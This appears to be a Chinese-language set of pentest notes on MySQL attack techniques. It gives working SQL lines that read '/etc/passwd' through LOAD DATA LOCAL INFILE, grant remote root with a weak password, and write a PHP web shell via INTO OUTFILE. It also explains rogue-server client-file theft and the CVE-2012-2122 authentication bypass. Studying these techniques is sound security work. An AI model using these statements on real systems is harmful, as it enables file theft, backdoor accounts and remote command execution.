MySQL 是最流行的关系型数据库管理系统,在 WEB 应用方面 MySQL 是最好的 RDBMS(Relational Database Management System:关系数据库管理系统)应用软件之一。
MySQL 是一个关系型数据库管理系统,由瑞典 MySQL AB 公司开发,目前属于 Oracle 公司。MySQL 是一种关联数据库管理系统,关联数据库将数据保存在不同的表中,而不是将所有数据放在一个大仓库内,这样就增加了速度并提高了灵活性。
create database hehe;//创建数据库
CREATE TABLE IF NOT EXISTS `runoob_tbl`(
`runoob_id` INT UNSIGNED AUTO_INCREMENT,
`runoob_title` VARCHAR(100) NOT NULL,
`runoob_author` VARCHAR(40) NOT NULL,
`submission_date` DATE,
PRIMARY KEY ( `runoob_id` )
)ENGINE=InnoDB DEFAULT CHARSET=utf8;//创建数据表
show databases;
show tables;
show variables like '%secure%'; //查看安全属性
LOAD DATA LOCAL INFILE '/etc/passwd' INTO TABLE test FIELDS TERMINATED BY '\n';//读取客户端文件
GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY 'root' WITH GRANT OPTION;
flush privileges;
SELECT ' system($_GET[\'c\']); ?>' INTO OUTFILE '/var/www/shell.php';
SELECT LOAD_FILE('/var/lib/mysql-files/aaa') AS Result;
select group_concat(id) from test INTO DUMPFILE "/var/lib/mysql-files/aaaa";
适用范围: 全版本 MySQL/MariaDB Client
条件:客户端连接时开启 –enable-local-infile
从结果上来看,客户端读取了自身指定的数据,抓取数据包分析整个流程。
192.168.0.114 是SqlServer 192.168.0.115为客户端
服务端返回一个server端基础信息表包含版本,协议类型,salt值,server 功能项
这里有一个server 功能表
这个包可以说是客户端的登录包,包含用户名,密码,还有一份客户端能力表。
从图中可以看出client连接时开启了 --enable-local-infile 配置
接下来就是一些正常的客户端查询了
最终客户端发送下面指令
服务端收到这个执行语句后会给客户端以特定的协议格式发送一个包,类似于下面,功能类似于告诉客户端把这个文件发给我让我看看,如果连接时配置 –enable-local-infile 或者dsn 加上了allowAllFiles=true
攻击脚本 Rogue_Mysql https://github.com/allyshka/Rogue-MySql-Server
PHP有一些mysql客户端扩展,如mysql、mysqli、pdo,除了pdo外都可以被利用,因为pdo默认禁止读取本地数据,你需要通过设置PDO::MYSQL_ATTR_LOCAL_INFILE为true来启用本地数据读取。同样的,如果客户端使用的是python的MySQLdb,也需要先设置local_infile连接选项。
适用范围: 全版本 MySQL/MariaDB Client
条件:服务端配置可读写目录和正确的用户权限
mysql服务端的文件读取有很多的条件限制,主要是mysql数据库的配置,为了安全原因,当读取位于服务器上的文本文件时,文件必须处于数据库目录或可被所有人读取。你可以通过执行show variables like '%secure%'
来查看:
secure-file-priv参数是用来限制LOAD DATA, SELECT … OUTFILE, DUMPFILE and LOAD_FILE()可以操作的文件夹。
secure-file-priv的值可分为三种情况:
除此之外读取或写入文件必须拥有可操作的用户权限否则会报错:
ERROR 1045 (28000): Access denied for user
SELECT LOAD_FILE('/var/lib/mysql-files/aaa') AS Result;
create database test;
CREATE TABLE test ( id TEXT, content TEXT);
load data infile "/var/lib/mysql-files/aaa" into table test.test FIELDS TERMINATED BY '\n\r';
select group_concat(id) from test INTO DUMPFILE "/var/lib/mysql-files/aaaa";
版本范围 :
MariaDB versions from 5.1.62, 5.2.12, 5.3.6, 5.5.23 are not.
MySQL versions from 5.1.63, 5.5.24, 5.6.6 are not.
当连接MariaDB/MySQL时,输入的密码会与期望的正确密码比较,由于不正确的处理,会导致即便是memcmp()返回一个非零值,也会使MySQL认为两个密码是相同的。也就是说只要知道用户名,不断尝试就能够直接登入SQL数据库。
漏洞复现 https://github.com/vulhub/vulhub/tree/master/mysql/CVE-2012-2122 直接搭建docker环境